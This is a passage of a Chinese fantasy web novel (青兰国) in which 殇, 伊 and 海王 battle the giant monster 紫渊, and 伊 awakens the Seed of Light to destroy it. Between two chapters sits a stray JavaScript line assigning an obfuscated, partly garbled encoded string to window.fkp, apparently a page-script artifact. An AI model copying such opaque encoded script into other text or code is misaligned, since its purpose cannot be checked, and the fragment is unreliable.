伊拉着殇的手站了起来。看着眼前的伊,殇回想起了某个跟她很想的人,这个人似乎是他的女儿......可他明明记得自己压根没结过婚,也没收养过孩子,这个女儿从何而来呢?这种矛盾令他感到了疑惑,但现在的他没多想就抛之脑后了。伊擦了擦眼角的泪水,调整了一下自己的情绪,然后露出了微笑。 殇: “你给我当向导吧,这个地方我不熟,我想你应该比我了解这里。” 伊: “好。” 殇: “对了,你知道马婷婷和那只小鸟去哪里了吗?” 伊: “殇,你怎么......” 殇: “别想多啊!我只是好奇而已,我才不会去关心除了我自已以外的任何人。” 海王心里: “这家伙还是跟以前一样啊,不愧是本人啊。” 殇的这番掩饰并没有起到作用,伊一眼就看出了殇内心真正的想法。 伊心里: “这家伙......算了,看破不说破。” 伊: “马婷婷和小鸟在这所研究机构的员工宿舍里呢,他们很安全,什么事都没有。” 殇: “对了,伊。拿走你光之种子的那个人是叫疫医吗?不对,不该这么问......是长得像疫医这种职业吗?” 伊: “是!就是他拿走了我的光之种子。” 海王: “要是他拿走的,倒好解决了。毕竟他很喜欢研究,他不可能带着光之种子离开这里。” 殇: “你的意思是说他肯定还在这所研究机构里?” 海王: “没错。毕竟只有这个地方能有供他研究的器材。” 殇: “那就好处理了。直接干他丫的!” 伊看了看殇一旁拿着三叉戟的僵尸,她这时才想起来她忘了问这个僵尸的名字了。刚刚因为殇的翻脸让她过于紧张,以至于她都忘了这件事了。 伊看向海王,问: “请问一下,你叫什么名字?” 海王看了看伊,然后简单介绍了一下自己。 海王 “鄙人叫海王,我是这个国家曾经的王,现在的守护者兼守港人。我来这里是协助殇来救他的朋友的。在救完所有幸存者之后,我便会带着你们去码头去找船,之后你们便可以坐船离开这里去其他地方寻找生路。” 伊点点头,感谢道: “哦~那真谢谢你了,海王先生。” 海王有些不好意思地说: “我都一把年纪了,别叫我先生了,这样听起来有些让人不好意思。你就叫我海王吧,这样听起来挺顺溜的。” 伊微笑着说: “好,海王。” 殇很气愤地说: “事不宜迟,我们现在就去找那个疫医夺回光之种子吧,这个家伙是肯定不会离开这里的。——要是让我找到了他,我一定会胖揍他一顿的。我得让跟我们抢光之种子的人付出惨痛的代价!” 就在这个时候,地面突然开始了剧烈震动,整个研究机构以及底下的炼金师的实验基地也开始跟着震动。此时在炼金师实验基地的483病患立刻差距到了危险,他马上冲进了前往上层研究机构的电梯,接着按下电梯的按钮,向着上层的研究机构上升。 483: “这一天终究还是到来了......紫渊对国王与这个世界的恨以及她永无止境的怒火,即将在今天全部释放出来。我得赶紧行动了,不然那些无辜的人就会被紫渊无情地杀死。” 殇和伊以及海王都感受到了来自地下剧烈的震动,这种震动仿佛是某个巨大的生物即将在地下苏醒。 伊: “什么......什么情况?这里怎么还地震了?” 海王: “这不是地震......——难不成!?是紫渊!是紫渊的本体要突破囚笼了!” 殇: “什么?!” 话音刚落,殇他们对面的走廊尽头就被一只巨大的手直接打穿,接着在另一端的走廊尽头也出现了同样的情况。殇在此刻察觉到了不对劲,他根据两只手的角度以及正常生物的结构推断出他们脚下的地板之下绝对是紫渊的嘴,想到此处,殇立刻抓住伊和海王的手,二话不说直接冲进了面前房间之中。在进入房间后,殇用粉碎之拳·开山直接粉碎了他面前的那堵墙,接着一个通往另一个房间的大洞出现在他们的眼前。 殇: “快!跑进去!” 听到殇这么说,海王和伊立马跑向了他们面前的大洞。可没等他们跑进面前的大洞,他们身后的地面就出现了裂缝,紧接着紫渊的头从这些裂缝之中钻了出来。紫渊摇动了几下身体,接着直接用身体顶碎了这周围的石头,然后像一条出水之龙一样直接从地下钻了出来,并且给这座山开了一个大洞。 此刻周围的地面瞬间塌陷了下去,伊没来得及跑进这个大洞,直接跟着塌陷的地面一起往下掉落。就在这个危急时刻,殇拔出背上的避雷针,然后一跃而下,他将避雷针插在墙壁上,接着一把抓住了伊的手。 殇: “你可真是不给我省心啊。” 殇看了看上面的海王,他用眼神告诉了海王他的想法,海王明白了,点了点头,接着俯下身子伸出了手。殇也点了点头,接着他开始来回摆动身体,最后把伊往上用力一甩,海王在用手一抓,这样伊被殇成功送了上去。伊在上去之后第一件事就是俯身去看还在底下的殇,但是此时的殇已经上不去了,他插在墙壁之上的避雷针已经松动了。 伊担心地问: “殇!你怎么上来......” 殇抬头看着伊,很自信地说: “我上不去了,你先跟海王逃到安全的地方吧,我一会就跟你们汇合。” 伊大声喊道: “你会被它杀死的!” 殇自信地说: “杀死?开玩笑,你觉得这个小崽子可以弄死我吗?” 伊抬头向上看去,她的脸色瞬间变得难看起来。伊问: “你确定......它是个小崽子吗?” 殇有些好奇地说: “嗯?” 殇转头看向了身后的紫渊,下一秒他瞬间瞪大了眼睛,他差点被惊掉了下巴。 殇: “卧槽!” 只见一个庞大的紫色变异生物出现在他的眼前,她有着如同蛇一样的长条状身体,身体的顶端是人类的上半身,但是外表看已经无法分辨出她的性别;她的上半身上长着三双渗人的巨爪,依稀还可以分辨出各个手指;她的头部变成了一种极其怪异的样子,头顶上长着四对怪异的长角,脸上长着五只发着金光的大眼睛,同时她还有着一口长有可以撕碎金属的利齿的大嘴,这张大嘴之中还有着几条很长的舌头,看起来十分渗人;她的全身长着许多锋利的弯钩状尖刺,在这些尖刺的附近还有着一些这在凝视着大地的眼睛。 此刻一阵阴风吹过,所有人都不禁开始颤抖,他们感受到了来自灵魂深处的恐惧,天空中电闪雷鸣,暴雨倾盆,仿佛是在迎接这个怪物重回大地。屹立在殇面前的巨大怪物张开了她隐藏在背后的那两对巨大的翅膀,并对着天空发出了一声怒吼。她凝视着这个大地之上的一切生灵,就跟一位高高在上的神明一样。 紫渊: “我这些年承受的一切,都要由你们来偿还!感受来自紫渊的怒火吧......你们这些制造灾难的罪人!” 此时紫渊周围的空间开始弥漫一种紫色的薄雾,这种薄雾开始向着紫渊的方向汇聚,并以紫渊为中心形成了,巨大的紫色光柱。凝望着眼前的巨大紫色光柱,舰船上所有的人都感受到了恐惧,就连肃清者和管理员都感受到了恐惧。 轇: “不好!是扭曲!” 肃清者: “看样子,扭曲现象就是这么出现的。接下来的战斗不好打了啊!” 轇: “蓝色空间的那几位,这个东西你们能处理的了吗?” 蓝色空间的员工: “这个......这个体型的敌人根本没办法处理!我们的空间立场范围有限,只能困住等于她体型一半的目标。再加上扭曲......” 轇: “那我们该怎么办,你们也处理不了。” 碧蓝世界的员工: “实在不行我们对她开火吧,看看能不能杀死她。” 轇: “那就只能这样了,不然没有别的办法了。” 轇转身抬头看着远方。 轇: “如果我们拦不下她,到时候所有人的利益都会收到严重的影响......会有很多人饿死的。” 肃清者: “舰长!舰队加速,全员做好战斗准备!接下来,我们要直面恐惧了。” 望着肃清者的背影,轇似乎看到了曾经的人民英雄国王殇。 轇: “你真的很像你的父亲啊,肃清者姐姐。” 肃清者: “现在不是开玩笑的时候......做好战斗准备,我们要与这个大家伙战斗了。” 与此同时...... 看着眼前的这个怪物,殇也有些害怕,但一想到伊和海王,他便无所畏惧了。海王和殇有一种莫名的默契,他们有时不用说话也可以知道对方的想法,他们两个绝对称得上最默契的搭档。海王拉着伊的手赶忙向着出口逃去,伊有些抵触,但是在事实面前,伊只能极不情愿地撤退。 伊: “你一定要活下来啊......殇。” 在确认伊已经撤退之后,殇露出了欣慰的微笑,接着拔出避雷针,一个落地猛冲砸在下方的地面上。就在殇落地之后,许多强壮的紫毛怪包围了殇,并且在这些紫毛怪的身后,有着成百上千的同样强壮的紫毛怪。殇丝毫不慌,即便是面对这个如泰坦一般的怪物与成百上千的敌人。殇挥舞起手中的避雷针,接着摆出了一个气势十足的架势,做好了以一敌百的准备。 殇: “放马过来吧,紫渊。就让你知道一下,什么叫他妈的战神!” 此刻身形巨大紫渊仿佛是听到了殇的说话声,她的一只眼睛突然看向了殇。殇见此,对着紫渊竖了个中指来嘲讽她。她见到殇竖中指,感受到了极大的侮辱,她下令让那些紫毛怪去把殇撕成碎片。这些紫毛怪在接到命令之后,立马飞扑向了殇。殇十分冷静,他丝毫没有惧怕眼前的危险,因为他早就习惯了与危险战斗。殇快速转动手中的避雷针,接着下压身体连续快速转体三周像扔飞盘一样把避雷针扔了出去。 避雷针在被扔出去之后直接贯穿了一片的紫毛怪,同时边飞边放电电死了许多靠近避雷针飞行轨迹的紫毛怪,过了一会,避雷针缓缓停了下来并插在了地上。这些紫毛怪直接无视了这个插在地上的避雷针,继续无畏地向着前方前进,殊不知,这个避雷针还有个特殊功能,那就是在这种情况会召唤雷电。在电光火石之间,一道威力巨大的闪电劈在了避雷针上,紧接着一阵震耳欲聋的雷声传来,然后那些一大片紫毛怪被劈成了一堆堆的死尸或者灰烬。此刻殇两手空空了,这些紫毛怪就认为他们可以轻易撕碎殇了,所以这些紫毛怪失去了戒心,加速冲向了殇。殊不知,这种轻敌害惨了他们。 殇核心发出了耀眼的红光,接着许多红色的线条从他的核心之中流出,最后在他的身旁形成了一个发光的框架。 殇: “激活,E协议!生成Emw-67,亚特兰蒂斯。” 殇张开双臂,握住了召唤出来的两把三叉戟,他做好架势,然后让闪电汇聚在了两把三叉戟之上。殇一跃而起,用手中的武器连续挥砍加刺击解决掉了最靠近他的几只紫毛怪,接着一个连续左右横冲用三叉戟的突刺杀死了许多紫毛怪。这些紫毛怪还没意识到发生什么就被杀死了好几个,由此可见殇的速度究竟有多快。 殇突然向后后撤了几步,接着致命高压与强电流出现在了他手中的两把三叉戟上,殇做好架势,一跃而起跳到一群紫毛怪的上空,然后就是一个落地猛冲把手中的三叉戟插在了地上。在两把三叉戟接触地面后的第二秒,强大的雷电能量从这两把三叉戟中释放出来,在一道耀眼的光芒之后,那群紫毛怪都变成了一动不动的死尸。殇拔出其中一把三叉戟,转身向着后方的另一群紫毛怪冲去,他在这群紫毛怪之中挥舞三叉戟砍杀了许多紫毛怪,然后把三叉戟插在地上,紧接着就跑向了另一边。这些紫毛怪见到殇这么做感到十分的疑惑,他们没法理解殇这么做的目的,但很快他们就知道了。 殇又召唤出了两把三叉戟,接着像扔标枪似的连续转体几周把整整九把三叉戟扔到了四面八方的紫毛怪群中。此刻殇心中的计划已经完全实现了,接下来就是最后的一步了。这时那些成百上千的紫毛怪一起加速冲向了殇,殇见此打了个响指,接着召唤出了最后一把三叉戟。他拿着三叉戟下压身体,用另一只手砸地将自己击飞到了空中。天空中雷声阵阵,雨水滴在他的身上,狂风吹过他的身旁,此刻的他,充满了十足的决心与力量。 望着在半空中的殇,那些紫毛怪感到了一丝莫名的恐惧,一种无名的气场压得他们喘不过来气。殇将手中的三叉戟反了过来,随后高举三叉戟,对准了自己的正下方。此刻两道闪电突然炸响,这衬托出了殇此时那般王者一般的气势,他在此刻看起来就跟雷神一样。雷电的能量汇聚在殇手中的三叉戟上,十足的压迫感使他的所有敌人喘不过气来。 殇: “审判......” 殇手中的三叉戟之上的闪电光束开始疯狂的跃动与舞动,就仿佛它们是在庆祝殇即将到来的胜利一样。 殇: “之雷!” 殇一把扔出手中的三叉戟,让雷霆的力量随着三叉戟的抛出而释放。就在三叉戟插在地面的那一刻,耀眼的光芒闪到了在场所有生物的眼睛,此刻之前被殇故意插在地上的三叉戟在此刻都发出了耀眼的光芒,同时它们的上面也开始出现跃动的闪电光束。然后许多道威力巨大且颜色各异的闪电劈了下来,这些紫毛怪就如同在烈火之中的蜡一样,直接被闪电劈成了灰烬,他们还没来得及反应发生了什么,就被威力巨大的闪电直接劈成了灰烬。 此刻,在舰船上的所有人都目睹了这一壮观景象,他们每个人都瞪大了眼睛,以一种难以置信的目光看向远方。没等他们消化完这一景象带给他们的震撼,另一番壮观的景象再次出现在了他们眼前。只见舰船上所有的攻击单位都对准了远处的紫渊,在一条指令下达后,舰船上所有的攻击单位一起开火,威力巨大且发着耀眼光芒的电浆弹与如同黑色雨点的蜂巢导弹届时以极其猛烈的方式袭向了远处的紫渊,其场面无比壮观,仿佛置身于枪林弹雨的战场。 远处的紫渊注意到了向她袭来的电浆弹与蜂巢导弹,她试着扭动身体来躲避,但她身体的底部被牢牢固定在了地下,现在的她还不能完全自主的移动,只能用简单的躲闪来躲避这些攻击。但她低估了科技的力量,现在的科技可不是她生活的那个年代的那种科技,现在的技术已经趋近成熟,再加上这些武器是用奇点技术制造出来的,她根本躲不掉这些袭来的猛烈攻击。 此刻的殇注意到了远处射向紫渊的炮火,他此时明白他并不是一个人在战斗,远方有人在协助他一起战斗。在接下这一轮炮火之后,紫渊彻底被激怒了,她加速扭动自己在地面之下的身体,争取早点突破舒服。此时殇注意到了地面剧烈颤动,并且地面上开始出现裂痕,同时有许多紫色触手从这些裂缝里钻了出来。 殇立马意识到了危险,他放弃直接进攻紫渊的计划,拿起插在地上的避雷针就开始在炼金师的实验基地内穿梭。就在他即将要抵达前往上层的电梯井时,一个巨大且长满尖刺的紫色触手拦住了他,并且以极快的速度挥向了他。殇把避雷针横过来准备挡攻击,没等触手挥到他,一个殇熟悉的身影就把这个触手切成了两半。在切完这个触手之后,他对着殇做了个手势示意让殇往前冲,殇明白了他的意思,接着他们两个一路来到了电梯井中间。此时地面的裂缝越来越大了,现在留给殇和他的时间已经不多了。 483: “快!我们爬上去!” 殇: “好!” 483病患和殇一起顺着电梯井向上攀爬,在他们攀爬的途中,周围的墙壁十分剧烈地抖动,这让他们感到十分不安。就在他们即将上到顶层的时候,电梯井上方突然塌方了,他们两个见此立刻使劲往上蹬了几步。在电梯井塌方的一瞬间,殇有惊无险地上去了,而483病患因为体型太大就没上来,他被石头砸了下去。 殇俯身向下喊: “483号志愿者!操!该死的,自求多福吧......” 殇随即很不甘心地转身跑离了这里,他想回头去救483病患,但现实不允许他这么做。483病患缓缓站了起来,他打了打身上的石头,他知道自己已经没机会离开这里了。他很坦然地笑了笑,接着他带着一丝不甘与真男人的坦然走向了即将分崩离析的实验基地。他的一生都赔付在了这里,事实已经如此了,他也不奢望这世界再给他什么东西了。既然他的一生都因这里而改变,那么就让他的一生终结在这里吧,因为对于他来说,活着,那都是过去的事了。在所有人眼里,他早就死在了藏骨堂那场浩劫之中。 483: “既然都是一个死,那就让这场灾难来得更猛烈些吧!” 483病患冲向了从地面伸出来的那些紫渊的触手,他愤怒地嚎叫着,手中的利刃与利爪不停地挥舞着,在这空旷的走廊之中,只能听到他的怒吼声与紫渊触手的断裂声。此刻他仿佛站在世界的聚光灯之下,他仿佛是这个世界的主角。 与此同时...... 正在跟随海王向着外面逃跑的伊突然通过余光看到了在走廊尽头的一个熟悉的身影,她立刻停下脚步定睛看向那个身影,即使距离有很远,但她还是认出了那个人。那个人不是别人,就是夺走她光之种子的那位疫医。 伊惊呼道: “是他!” 伊二话不说就向着疫医跑去,海王见到伊突然改变方向跑向另一边,他以为是出了什么事,立马跟了上去。疫医此时没有注意到身后正在向自己跑来的伊,他还在向着一个他特意准备的秘密地点赶去。由于时间即将来不及了,他就开始跑着去那个地方。伊见到疫医加快的速度,以为是疫医发现了她,她更加卖力地去追疫医了。 此时在伊身后追着的海王由于身体缘故渐渐追不上伊了,他们两个的差距越来越大,直至最后海王直接跟丢了伊。正在海王着急寻找伊的时候,殇突然跑着来到了他的面前。海王见到殇后很是惊奇,而殇见到海王之后倒什么情绪也没有,但是在殇注意到只有海王一个人的时候,他有些慌张。 殇很慌张地说: “海王!伊去哪里了?” 海王愧疚地说: “抱歉,我跟丢了。她仿佛是看到了某个人,突然就转变方向追过去了。” 殇叹了口气,说: “哎......真不让我省心啊。” 海王问: “那我们现在怎么办?” 殇沉默片刻,说: “......我去找她,你先逃离这里吧。” 海王说: “不,你要去的话,我也跟着一起去。” 殇说: “这可是你说的啊,去世了不赖我。” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青兰国—第八话:光芒初现 伊一路紧追不舍,最后跟着疫医来到了一处隐藏在山顶的观察站之中。此刻疫医怀着十分期待的心情按下了操作台上的开关,紧接着一门威力巨大的激光炮从观察站的隐藏舱门处缓缓上抬到了疫医的左手边5米处。 疫医: “紫渊.....我等这一天很久了。那时我还会为了电池的问题而担忧,现在不会了......” 疫医将内部存有光之种子的特制电池拿在手上。 疫医: “我偷偷研究你很久了......在无数次的实验失败后,我终于锁定了你这种生物的弱点......说实在的,不知道是你没进化完还是你还依依不舍地保留的作为人的‘象征’,你留下了一个足以杀死你的致命弱点......那便是你的头颅之中的大脑。” 疫医打开了这门激光炮的能量注入口,接着将手中的特制电池放进了注入口之中。随即这门激光炮上的指示灯凉了起来,同时炮口伸长,炮口变宽,内部的能量开始汇聚。这门激光炮的一切参数正常,很快它就能完成蓄能。 疫医: “我专门制造了这门激光炮,就是为了在你苏醒之后夺走你的一切,也就是你的生命。这门激光炮能够锁定你的大脑,并直接送你上西天。这不是为了我自己......” 激光炮系统: “蓄能完成,可以开炮。” 疫医: “这是为了她和我的战友们.......” 激光炮面前的墙壁与天窗在控制台下的命令下缓缓给激光炮让出了一片空间,供激光炮开炮。疫医闭上了眼睛,心中默默祈祷这一炮能够成功开出。 “疫医!” 疫医睁开眼睛,转身看向身后,发现伊正站在他的不远处。 疫医惊讶地说: “你怎么?” 伊缓缓掏出腰间的手枪,并用手枪对准了疫医的头。 伊命令疫医: “把光之种子还给我!” 疫医点点头,说: “可以。” 伊伸出手,说: “拿来吧。” 疫医摇摇头,告诉伊: “抱歉,这个时候还不能还你。” 伊大声质问道: “你想搞什么幺蛾子?!快把光之种子还给我!” 疫医深情地说: “我想请你在拿回光之种子之前......” 此时疫医身后的激光炮的炮口开始闪烁耀眼的光芒,这道光芒吸引到了远处紫渊的注意,但是此刻已经为时已晚,这门激光炮已经完成了最后的蓄能。 疫医转身看向远处的紫渊。 “见证一下紫渊的陨落。” 疫医此时的眼神十分坚定,他有十足的把握可以在此刻一炮解决掉紫渊。他等待这个时刻等了很久了,为了找紫渊报仇,他在现代武器学方面从零学起,只为了能在今日处决掉他最大的仇人紫渊。他十分勇敢地凝望着远处的紫渊,他早已不惧怕一切事物。 疫医愤怒地说: “零号病患紫渊,现在是时候为你所犯下的罪......付出代价了!” 就在这个关键时候,意外却发生了。即将开火的激光炮突然因为某种不知名原因停止了工作,所有的指示灯在一瞬之间全部熄灭。看着眼前的景象,疫医的本来坚定的眼神瞬间变得涣散,他的身体在颤抖,他不敢相信自己努力了这么久最后竟然失败了。 疫医惊慌失措,疑惑道: “什......什么?!这不可能!为什么在这个节骨眼上出问题了?!” 伊这时看到了正在挥动巨爪的紫渊,她十分惊慌地大叫了一声。 “小心!” 紫渊对着这个观察站挥了一巴掌,直接将观察站的外墙连同屋顶一起掀翻了。在观察站内的疫医和伊由于躲得及时逃过了一劫,他们没有被这一巴掌掀飞,但是他们两个都收到了不同程度的伤。疫医那门激光炮就没那么幸运了,那门激光炮直接背着一巴掌拍成了许多零件。这门激光炮的零件到处乱飞,唯独那个特质的电池还留在了原地。 疫医缓缓站起身来,他看了一眼身后准备下一次攻击的紫渊,他十分生气与不甘心,但为了生命考虑,他直接头也不回逃离了这里。此时伊也缓缓站了起来,她也想逃跑,但是她感应到了光之种子的存在,她此时留在了原地,看向了那个已经部分损坏的特制电池。 此时伊面临两个重要选择,一是为了生命着想而抛弃光之种子逃离这里,这样她可以很顺利地逃离这里并且保住自己的生命;二是为了光之种子而去赌一把,这样她很可能就会命丧于此。 伊心里: “怎么办?光之种子就在眼前,我到底该不该赌一把?如果赌赢了,我就能成功带着光之种子离开这里了!但如果赌输了......我就会命丧于此,我所经历的一切都将失去意义,我所坚持的道路就会前功尽弃。.......我妈妈说过一句话,在努力和没努力完全是两种事,虽然结局很可能是失败,但起码努力了,就无怨无悔了。——为了所有人的希望......拼了!” 伊在不到半秒的思考之后,毅然决然地选择了后者。她不顾生命危险直接捡起了地上的特制电池,接着就转身准备逃离这里,但此时已经为时已晚了。 一条滑溜的舌头抓住了她的腰部,接着一把把她拽了起来。伊试着挣扎,但是并没有什么用。伊转头看向身后,她发现自己现在距离紫渊的那张血盆大口越来越近了。她很害怕,以至于全身都在颤抖,但她始终没有松开手中的电池。在伊来到紫渊的血盆大口前时,紫渊没有立即把伊送到嘴里,而是把她送到了自己中间的那只眼睛前对伊说了些嘲讽的话。 紫渊打量了一番眼前的伊,说: “小家伙挺可爱啊......可惜了,这么可爱的人马上就会变成一摊黑色的液体了。与其让你这个小家伙被我的利齿撕碎,不如让我好好折磨折磨你的灵魂,让你的灵魂成为我体内的一部分能量。” 说完,紫渊一口把伊吞了下去。之后,紫渊继续扭动身体,努力挣脱束缚。现在地下的岩石已经碎裂大半,很快她就要从厚重的混凝土中释放出来了。 此刻伊的眼前是无尽的黑暗。她什么也看不到,她什么也感受不到。她此刻很害怕,恐惧涌上了她的心头。在这黑暗之中,一种强大的窒息感涌上伊的心头,伊很害怕。她感觉到自己正在被黑暗所侵蚀,她感觉自己的生命正在缓缓流逝。望着这无边无际的黑暗,伊陷入了绝望。 伊害怕地说: “这里好黑......我好害怕......殇......妈妈......谁来救救我?” 伊越来越害怕,越来越绝望。她的眼角慢慢流出了泪水,很快,她在黑暗之中蜷缩了起来,并开始独自哭泣。哭着哭着,她突然想到了自己的母亲。想到自己母亲交给自己的使命,伊感到了一种强烈的负罪感与自己内心的谴责。 伊愧疚地自责: “对不起......妈妈。我......我对不起你。我没能完成你交给我的使命,我没能保护好光之种子。我真是个废物......我真是个废物啊!” 就在这时,伊突然想到了殇。她回想起了殇对自己说过的话,她回想起了殇教她的道理。 “你必须变得强大,你必须变得坚强。只有这样,你才能保护得了你所珍视的一切。” 想到此处,伊擦了擦眼角的泪水,她慢慢抬起了自己低下去的头。她看了看周围的无尽的黑暗,又看了看自己的双手。虽然这里很黑,但伊却能依稀看到自己的手。这个发现让伊很是惊喜,这证明了这里不是绝对黑暗的,这附近有能发光的东西,这附近有光存在。 想到此处,伊的眼中又燃起了希望的火苗。她赶忙站起身来环视了一圈周围,她审视着周围一望无际的黑暗,试着从黑暗之中找到一丝光明。在此刻,她的眼神变得十分犀利,好似一柄能够刺穿盾牌的长矛。 伊看了好几圈,始终没有看到黑暗之中的光芒。她找了很久,可就是没找到那个发光的东西。这让她很失望,但她没有放弃,即使这样,她仍在坚持寻找黑暗之中的光明。找着找着,她突然感觉到了手心处暖暖的。她张开手,惊奇地发现她的手心之中有一颗发着微光的种子。看着手中的种子,伊感到格外的高兴。 伊高兴地说: “找到了!我找到了!是光,是这颗小种子所发出的光。” 这时,奇异的光芒出现在伊的身旁,温暖的感觉涌上伊的心头。伊的瞳孔突然变成了蓝色,一种熟悉的感觉涌上心头。伊抬头看了看周围,她发现浩渺星河出现在了自己的周围。星河之间,群星闪烁,浩渺星河,宛如画卷。看着眼前的景象,伊很是惊讶,眼前的这一切对于她来说简直就是仙境之景,天河之画。 这时,一个温柔的声音传入了伊的耳中。 希德薇拉: “我的孩子,好久不见。” 伊转身看了看周围,她并没有找到对她说话的那个人。 伊: “请问,你是谁?” 希德薇拉: “我叫希德薇拉,是你的母亲。” 伊: “母亲?你不是我母亲,我的母亲是伊娜。” 希德薇拉: “伊娜?她的确是你的母亲。但我,也是你的母亲。” 伊: “你也是我的母亲?那我岂不是有两个妈妈。” 希德薇拉: “真相以后你会知道的......现在,我的孩子。我将激活你血脉之中的力量,让你突破这无边无际的黑暗之墙。” 话音刚落,一股强大的能量就在伊的体内苏醒。在片刻之后,漫天星河发出了耀眼的光芒,星河之间的黑暗在那一刻被照亮了。一条由金色光辉构成的丝带落在了伊的肩膀上,变成了伊的披肩。伊摸了摸这条丝带,她感受到了这条丝带内所蕴含的能量与温暖,那种感觉仿佛是在触摸这世界上最完美的丝织品。 伊微笑着感激道: “谢谢你,希德小姐。” 伊握紧了手中发光的种子,用心感受着这颗种子的温度。伊闭上双眼,静静地感受着周围的光芒所带来的的温暖。光辉在此刻汇聚成了一片又一片的羽毛。在片刻之后,这些羽毛在伊的背后汇聚成了一对巨大的光之翼。伊睁开眼睛,高举握着种子的手,让光芒注入这颗种子。周围的光芒汇聚成了一条条的线,然后这些线都涌进了种子之中。在光芒汇聚完成之后,伊松开手,将这颗种子扔向了漫天的星河。 伊微笑着说: “去吧,去长成一颗参天大树吧。” 突然间,这颗种子发出了及其耀眼的光芒。这光芒十分温暖,十分耀眼,仿佛天空中不灭的明星。看着这道光芒,伊露出了欣慰的满意的笑容。 此时紫渊周围很大一片范围内的小石头突然向着上空飘去,仿佛是被什么东西给吸引了。一种怪异但很温暖的能量涌动在所有人的身旁,这种能量仿佛是一个个调皮的小精灵,它们自由自在地穿过了所有人的身旁,并且为所有人送上了独特的“祝福”。 此时在肃清者这边,许多人都感受到了这种能带给人温暖的能量,他们很多人都沉浸在这种能量之中。这种能量能带给人一种舒适的感觉,就仿佛是在做什么美梦一样。 肃清者: “这种感觉......好温暖,就跟冬日的炉火一样。” 轇: “我从未感受过这种感觉......这种感觉一定是我这辈子感受到最舒适的感觉了!我感觉自己的身心仿佛得到了解放,好开心啊!” 肃清者: “好像......有什么东西要释放了。” 此时在另一边...... 海王: “这是......我从未有过这种感觉,这是我体验过的最舒适的感觉。” 殇: “这种感觉......光之种子?难不成伊她......” 紫渊的体内有着一股强大能量在涌动,这股能量使得紫渊感受到了温暖与恐惧。她能感受到这个能量具体的位置,这股能量现在就在她的体内。紫渊意识到了危险,但已为时已晚。 紫渊: “不......不好!我大意了......” 此刻一道光芒从她体内出现,一股压抑了许久的能量即将释放。在片刻的安静过后,一道刺眼的光芒照亮了夜空,紧接着一道半径二十多米的光束直接从紫渊的体内直射向天空。这道光束产生的亮度照亮了整个夜空,天空中的乌云瞬间被这道光束击穿。这道光束直冲云霄,照亮夜空,也照亮了这个被黑暗所笼罩的世界。 此时在风岭区的某个郊区之中,处理事物的都市猎人们停下了手里的工作,转头去看向远方地平线处升起的光柱。他们也被这个景象深深震撼到了,他们从未想过还能有这等景象出现在这世界上,那种震撼感不是用言语就能表达出来的。同时在凤岭区中的其他就业者也注意到了这一景象,但他们没看多久就便继续工作了,对于他们来说,工作永远是第一位的。 此时在地平区和穹顶区的大城市之中,许多人都看到了地平线处的那道耀眼的光柱,他们即使见过各种震撼的场面,但在看到这一景象之后还是被深深地震撼到了。许多协会的人也注意到了这番景象,他们也很是震惊,但是在震惊之余更多的是好奇与疑惑,但很快他们就冲向回到了正常的工作之中去了,因为对于他们来说工作永远是第一位。 紫渊的躯体在如此强大的能量面前如同在烈火中的蜡一样,很快就化成了许多飘散向空中的微尘,最后随着这场雨一起落在了这片伤痕累累的土地之上。在舰船上的所有人都目睹了这一壮观景象,他们被惊得一时说不出话来,他们此生从为见过如此壮观的场面,就连电影中的史诗景象就没有他们眼前的景象震撼。 过了一会,这道光束渐渐减弱了,最后慢慢消失了。天空中重新下起了大雨,一切又回到了之前的样子。过了一会,殇和海王拿着武器赶了过来,他们很担心伊的安全。等到了之前光束发出的地方的中心的时候,他们看到了一个很奇妙的场面。 伊确实没事,但是......她此刻晕倒了过去,还是一个蜷缩着的状态在地上躺着,并且还咬着自己的右手大拇指,看起来就跟一个小婴儿一样。殇看着这种景象瞬间无语了,他不知道该作何评价了。但有一件事是肯定的,那就是伊没事,他不用担心了。 殇转头看向海王,问: “海王,你有照相机吗?” 海王回答: “没有。——对了,你要照相机干什么?” 殇坏笑着说: “我想把这样的她拍下来,以后给她看。” 海王调侃道: “你这也太损了。” 殇很苦恼地说: “要是有照相机就好了,那样就能让她亲自看看她现在这个样子了。” 殇走到了伊的身旁,把她背了起来。 殇说: “海王,走吧,我们该撤离这里了。” 海王点点头,说: “嗯。” 之后殇背着伊和海王来到了山顶上的一座小房子之中。这个小房子很小,只有一个客厅和两间卧室,并且其中一个卧室还是拿来当仓库的。屋子里很暗,灰尘很多,看样子是许久没人来过了。所幸屋内还留着一些蜡烛,这些蜡烛虽然没有电灯好用,但是总比没有强。殇让海王点燃了一根蜡烛,接着他们进入到了那一间能住人的卧室之中。 这间卧室就只有一张大床和一张桌子和椅子,其他的只有一盏油灯。海王把蜡烛放在了油灯罩之中,并把油灯放在了桌子上来当照明。殇把背上的伊放到了这张床上,接着便和海王一起出门寻找食物。 过了一会,伊醒了过来。她很惊讶地看着周围,她有些不敢相信自己竟然活了下来。她用手摸了摸自己躺着的这张床,她此刻意识到是殇把她送到了这里。一想到殇,伊的脑中又回想起了之前的景象,她现在十分害怕殇,她害怕殇有朝一日会因为某件事夺走她的生命。她不想死,她不想让体内的光之种子还未萌芽就枯萎。 伊心里: “不行,我得赶紧离开这里。等一会殇回来了,我就逃不掉了。” 伊从床上下来,走到了这间房子的大门前。就在她将手放在门上想要推门而去的时候,她却犹豫了。她此刻突然回想起了殇对自己的包容以及呵护,殇虽然是个危险的人物,但他却从未真正对伊起过杀心。她的心情有些复杂,这种矛盾的心理使得她停在原地开始思考。她想要摆脱殇这个危险人物孤身一人去王座之间,可她又对殇有些不舍,或者说不想分离的理由。 伊犹豫不决。她自言自语道: “我......我该在这时偷偷离开吗?如果我离开,也许我就会被外面那些危险的怪物杀死。可我如果不离开,那么我就时刻处在被殇杀死的危险之中。” 伊仔细分析道: “殇......是个很危险的人物,他杀死我就跟碾死一只虫子一样简单。可那样危险的他......即使在我犯下这种错误的时候也选择的包容我。如果他自始至终都把我当做了工具人,可为什么在那种时候他会选择饶恕我呢?” 伊猜测道: “难不成他真的把我当做了朋友?可......他明明知道我是光之种子!既然我是工具,那为什么还要选择饶恕我?他真的......把我当做了朋友吗?” 